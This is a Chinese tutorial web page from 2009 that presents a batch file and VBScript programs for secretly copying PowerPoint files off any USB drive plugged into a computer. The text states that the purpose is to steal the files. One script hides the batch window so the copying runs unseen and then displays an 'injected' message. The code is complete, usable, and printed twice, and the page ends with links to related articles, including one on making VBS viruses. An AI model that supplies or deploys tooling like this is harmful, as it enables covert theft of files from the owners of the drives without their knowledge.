vbs 自動(dòng)復(fù)制U盤的內(nèi)容
更新時(shí)間:2009年12月26日 01:58:58 作者:
運(yùn)行后當(dāng)把U盤插入電腦后能夠自動(dòng)把U盤里的PPT偷拷下來(lái)。下面用記事本就能實(shí)現(xiàn)的批處理或vbs。
思路很簡(jiǎn)單,高層的東西沒什么技術(shù)含量,引用幾個(gè)函數(shù)或方法就行了。開始我用的是批處理(如果你插入U(xiǎn)盤的盤符是J,把課件保存于F盤)打開記事本,鍵入以下內(nèi)容:
:cheat
ping 127.0.0.1>nul
if exist J:\*.ppt (copy J:\*.ppt F:\ && exit) else goto cheat
保存為main.bat,本來(lái)這個(gè)文件就夠?qū)崿F(xiàn)此功能了,但我想不到有什么DOS命令可以隱藏命令提示符界面,就不得不編了一個(gè)vbs腳本專門干這事:
打開記事本鍵入:
set wshshell=createobject("wscript.shell")
wshshell.run "main.bat",0
msgbox"已經(jīng)注入",48,"夜月"
wscript.quit
保存為starter.vbs,注意這個(gè)文件要和main.bat放于同一目錄下。然后雙擊starter.vbs即可運(yùn)行。
后來(lái),我想用vbs腳本可以搞得更牛叉一點(diǎn),但這東西已經(jīng)好長(zhǎng)時(shí)間不玩了,我連inputbox都不知道怎么用的了,試了幾次才搞得好了一點(diǎn)。很方便,打開記事本,鍵入:
on error resume next
dim udrive,dfold,src,ptr
set fso=createobject("Scripting.FileSystemObject")
do
udrive=inputbox("請(qǐng)按如下形式輸入U(xiǎn)盤盤符","用戶指令",H)
loop until(udrive<="Z" and udrive>"B")
dfold=inputbox("請(qǐng)輸入目標(biāo)文件夾","用戶指令","F:\Temp")
if (not fso.folderexists(dfold)) then
fso.createfolder(dfold)
end if
src=udrive + ":\*.ppt"
ptr=dfold + "\"
do while(1=1)
if fso.driveexists(udrive) then
fso.copyfile src,ptr,true
set fso=nothing
wscript.quit
end if
wscript.sleep 2000
loop
以上內(nèi)容另存為xue.vbs即可,雙擊后運(yùn)行。
復(fù)制代碼 代碼如下:
:cheat
ping 127.0.0.1>nul
if exist J:\*.ppt (copy J:\*.ppt F:\ && exit) else goto cheat
保存為main.bat,本來(lái)這個(gè)文件就夠?qū)崿F(xiàn)此功能了,但我想不到有什么DOS命令可以隱藏命令提示符界面,就不得不編了一個(gè)vbs腳本專門干這事:
打開記事本鍵入:
復(fù)制代碼 代碼如下:
set wshshell=createobject("wscript.shell")
wshshell.run "main.bat",0
msgbox"已經(jīng)注入",48,"夜月"
wscript.quit
保存為starter.vbs,注意這個(gè)文件要和main.bat放于同一目錄下。然后雙擊starter.vbs即可運(yùn)行。
后來(lái),我想用vbs腳本可以搞得更牛叉一點(diǎn),但這東西已經(jīng)好長(zhǎng)時(shí)間不玩了,我連inputbox都不知道怎么用的了,試了幾次才搞得好了一點(diǎn)。很方便,打開記事本,鍵入:
復(fù)制代碼 代碼如下:
on error resume next
dim udrive,dfold,src,ptr
set fso=createobject("Scripting.FileSystemObject")
do
udrive=inputbox("請(qǐng)按如下形式輸入U(xiǎn)盤盤符","用戶指令",H)
loop until(udrive<="Z" and udrive>"B")
dfold=inputbox("請(qǐng)輸入目標(biāo)文件夾","用戶指令","F:\Temp")
if (not fso.folderexists(dfold)) then
fso.createfolder(dfold)
end if
src=udrive + ":\*.ppt"
ptr=dfold + "\"
do while(1=1)
if fso.driveexists(udrive) then
fso.copyfile src,ptr,true
set fso=nothing
wscript.quit
end if
wscript.sleep 2000
loop
以上內(nèi)容另存為xue.vbs即可,雙擊后運(yùn)行。
您可能感興趣的文章:
- vbs實(shí)現(xiàn)只復(fù)制比目標(biāo)文件更新的文件
- 自動(dòng)復(fù)制U盤文件的VBS腳本
- Windows 安裝IIS出現(xiàn)的問題(無(wú)法安裝IIS,提示“安裝程序無(wú)法復(fù)制文件IISApp.vbs”)
- IE瀏覽器增加“復(fù)制圖像地址”的右鍵菜單的vbs代碼
- vbs復(fù)制文件的腳本
- vbs病毒制作之一復(fù)制自身的vbs腳本
- 最新惡意復(fù)制型病毒autorun.inf,stNP.VBS,NP.VBS代碼簡(jiǎn)單解析和解決方法
- 用vbscript實(shí)現(xiàn)將腳本的輸出復(fù)制到剪貼板
- vbs復(fù)制文件夾的實(shí)現(xiàn)代碼
相關(guān)文章
VBS教程:對(duì)象-FileSystemObject 對(duì)象
文件系統(tǒng)是所有操作系統(tǒng)最重要的部分之一,腳本經(jīng)常會(huì)需要對(duì)文件及文件夾進(jìn)行訪問和管理,在Vbs中對(duì)桌面和文件系統(tǒng)進(jìn)行訪問的頂級(jí)對(duì)象是FileSystemObject(FSO),這個(gè)對(duì)象特別復(fù)雜,是vbs進(jìn)行文件操作的核心。2006-11-11Vbs備份指定文件到指定目錄并且以日期重命名的實(shí)現(xiàn)代碼
這篇文章主要介紹了Vbs備份指定文件到指定目錄并且以日期重命名的實(shí)現(xiàn)代碼,需要的朋友可以參考下2019-09-09vbs打開ie兩種方法 在VBScript中啟動(dòng)IE瀏覽器的實(shí)現(xiàn)代碼
用VBS打開網(wǎng)頁(yè),減少IE廣告, 不錯(cuò)的東東,是在網(wǎng)上收集的,你也可以實(shí)現(xiàn)網(wǎng)頁(yè)的自動(dòng)登錄等2013-01-01